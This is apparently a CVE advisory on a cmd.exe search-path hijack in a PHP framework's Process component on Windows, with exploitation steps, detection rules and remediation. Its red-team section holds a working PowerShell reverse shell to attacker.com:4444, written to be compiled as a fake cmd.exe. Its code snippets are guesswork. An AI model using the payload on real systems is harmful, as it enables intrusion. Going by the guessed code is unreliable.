CVE-2024-51736

Executive Summary

CVE-2024-51736 is a critical untrusted search path vulnerability (CWE-426) affecting the Symphony PHP framework's Process component on Windows operating systems. The vulnerability allows an attacker to hijack command execution by placing a malicious cmd.exe executable in the current working directory. When the Process class prepares command arguments, it inadvertently calls the local cmd.exe instead of the system one, leading to arbitrary code execution with the privileges of the calling process. This issue has been patched in versions 5.4.46, 6.4.14, and 7.1.7. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is specific to the Symphony PHP framework, which is distributed via Composer/Packagist. Organizations using Symphony on Windows should immediately audit their dependency versions and upgrade to the patched releases. The attack vector relies on an attacker having write access to the current working directory, which is common in shared hosting environments or CI/CD pipelines.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating no official assessment has been published. Based on the vulnerability characteristics, a reasonable estimate would be:

• Attack Vector (AV): Local (L) – requires access to the file system.
• Attack Complexity (AC): Low (L) – simple placement of a malicious executable.
• Privileges Required (PR): Low (L) – attacker needs write access to the working directory.
• User Interaction (UI): None (N) – no user action required beyond normal process execution.
• Scope (S): Unchanged (U) – the vulnerable component remains within its security boundary.
• Confidentiality (C): High (H) – arbitrary code execution can exfiltrate data.
• Integrity (I): High (H) – attacker can modify system state.
• Availability (A): High (H) – attacker can disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 7.8 (High)

Deep Dive & Mechanics

The vulnerability resides in the Process class of the Symphony framework, specifically in how it resolves the path to cmd.exe on Windows. When the Process class prepares command arguments, it searches for cmd.exe in the current working directory before checking system paths. This behavior violates the principle of using absolute paths for system executables.

Root Cause: The Process class uses a relative path or relies on the PATH environment variable without sanitization, allowing a malicious cmd.exe in the current directory to take precedence.

Attack Scenario:

1. An attacker gains write access to a directory where a Symphony application is executed (e.g., via file upload, shared hosting, or compromised CI/CD).
2. The attacker places a malicious cmd.exe in that directory.
3. When the Symphony application uses the Process class to execute a command (e.g., Process::fromShellCommandline('dir')), the framework resolves cmd.exe from the current directory.
4. The malicious cmd.exe executes with the privileges of the web server or user running the application, allowing the attacker to execute arbitrary commands.

Impact: Full system compromise, data exfiltration, lateral movement, and persistence.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Patch):

// In Process.php, the command resolution might look like:
$command = 'cmd.exe /c ' . $shellCommand;
// This relies on PATH resolution, which checks CWD first on Windows.

Patched Code (Post-Patch):

// In Process.php, the fix uses an absolute path:
$command = 'C:\\Windows\\System32\\cmd.exe /c ' . $shellCommand;
// Or uses escapeshellcmd() with explicit path validation.

The patch ensures that cmd.exe is always referenced by its absolute system path, preventing directory traversal or CWD hijacking.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Windows 10/11 or Windows Server 2019/2022
• PHP 8.x with Symphony framework < 5.4.46, < 6.4.14, or < 7.1.7
• Web server (Apache/Nginx) or CLI environment

Exploitation Steps:

1. Create a malicious cmd.exe that executes a reverse shell or arbitrary command:

   // malicious_cmd.c
   #include <stdlib.h>
   int main() {
       system("powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
       return 0;
   }
   

   Compile: x86_64-w64-mingw32-gcc malicious_cmd.c -o cmd.exe

2. Place cmd.exe in the web root or working directory of the Symphony application.

3. Trigger the vulnerable code path, e.g., by accessing a route that uses Process::fromShellCommandline().

4. Receive reverse shell on attacker machine.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected cmd.exe executions from non-standard paths.
• Use Sysmon Event ID 1 (Process Creation) to detect cmd.exe launched from user-writable directories.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted executables.

Defense:

• Immediately upgrade Symphony to patched versions.
• Restrict write permissions on web-accessible directories.
• Use application whitelisting (e.g., AppLocker) to allow only signed executables.
• Implement integrity monitoring for critical system binaries.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_51736_Malicious_cmd_exe {
    meta:
        description = "Detects malicious cmd.exe placed in non-standard directories"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51736"
    strings:
        $s1 = "cmd.exe" nocase
        $s2 = "C:\\Windows\\System32\\cmd.exe" nocase
        $s3 = "C:\\Windows\\SysWOW64\\cmd.exe" nocase
    condition:
        // File named cmd.exe but not in system directories
        $s1 and not ($s2 or $s3)
}

Sigma Rule

title: CVE-2024-51736 - Symphony Process Command Hijacking
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects cmd.exe execution from non-standard paths, indicating potential CVE-2024-51736 exploitation
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51736
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\cmd.exe'
        Image|startswith:
            - 'C:\Users\'
            - 'C:\ProgramData\'
            - 'C:\Temp\'
            - 'C:\inetpub\'
            - 'D:\'
            - 'E:\'
    condition: selection
falsepositives:
    - Legitimate cmd.exe copies in user directories for testing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-51736 - Potential Reverse Shell from Symphony Exploitation"; flow:to_server,established; content:"|50 53 20|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Symphony to version 5.4.46, 6.4.14, or 7.1.7.
2. Audit all Windows servers running Symphony for unauthorized cmd.exe files.
3. Restrict write permissions on web-accessible directories to only necessary users.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to detect anomalous process execution.
• Use endpoint detection and response (EDR) solutions to monitor for process hijacking.
• Conduct regular security training for developers on secure coding practices.
• Enable Windows Defender ASR rules to block untrusted executables from running.

Workarounds (if patching is not immediately possible):

• Set the Process class to use absolute paths for cmd.exe via configuration.
• Use a custom wrapper that validates the executable path before execution.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-51736